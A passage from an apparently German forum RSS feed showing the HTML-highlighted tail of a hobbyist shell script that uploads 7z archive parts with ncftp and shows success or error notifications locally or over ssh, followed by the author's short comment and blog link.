/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t</span><span style="color: #007700">=`</span><span style="color: #DD0000">expr&nbsp;</span><span style="color: #0000BB">$t</span><span style="color: #DD0000">&nbsp;+&nbsp;1</span><span style="color: #007700">`<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$t&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;4&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;**CRITICAL**&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;trys."<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;***ERROR***&lt;/b&gt;&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;retrys&nbsp;at&nbsp;file&nbsp;$UPLOADARCHIVPART"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"***ERROR***&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;retrys&nbsp;at&nbsp;file&nbsp;$UPLOADARCHIVPART"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;***ERROR***&lt;/b&gt;&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;retrys&nbsp;at&nbsp;file&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"***ERROR***&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;retrys&nbsp;at&nbsp;file&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">exit&nbsp;</span><span style="color: #0000BB">6<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;done<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OUT&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;Sucess!&lt;/b&gt;&nbsp;another&nbsp;part&nbsp;has&nbsp;been&nbsp;uploaded.&nbsp;Starting&nbsp;next..."'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"Success,&nbsp;another&nbsp;part&nbsp;has&nbsp;been&nbsp;uploaded&nbsp;Starting&nbsp;next..."'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;Upload&nbsp;of&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART</span><span style="color: #DD0000">&nbsp;done!&nbsp;starting&nbsp;next...&lt;/b&gt;"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"Upload&nbsp;of&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART</span><span style="color: #DD0000">&nbsp;done!&nbsp;starting&nbsp;next..."&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;All&nbsp;done!"<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;Upload&nbsp;done!&lt;/b&gt;"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;Upload&nbsp;done!&lt;/b&gt;"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"Upload&nbsp;done!"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;fi<br /></span><span style="color: #007700">}<br /><br /></span><span style="color: #0000BB">upload<br /><br /></span><span style="color: #007700">exit&nbsp;</span><span style="color: #0000BB">0&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Hat heute morgen als 10 Zeiler angefangen :D<br />
Viel spass, nähere beschreibung auf neimen Blog ;)<br />
<a href="http://www.square252.square7.ch/2012/01/08/upload-skript-7z-und-ncftp/" target="_blank" rel="nofollow">Upload Skript (7z und ncftp) - Sq252</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sq252</dc:creator>
			<guid isPermaLink="true">showroom-102/shell-script-upload-script-7z-ncftp-4480</guid>
		</item>
		<item>
			<title><![CDATA[Upload Script (7z & ncftp)]]></title>
			<link>showroom-102/upload-script-7z-ncftp-31730?goto=newpost</link>
			<pubDate>Sun, 08 Jan 2012 16:09:47 GMT</pubDate>
			<description>PHP: 
--------- 
#!/bin/sh 
 
function upload()  
{ 
    #Settings: 
    ARCHIVPW=archivpasswort123 
    ARCHIVPARTSIZE=100M</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
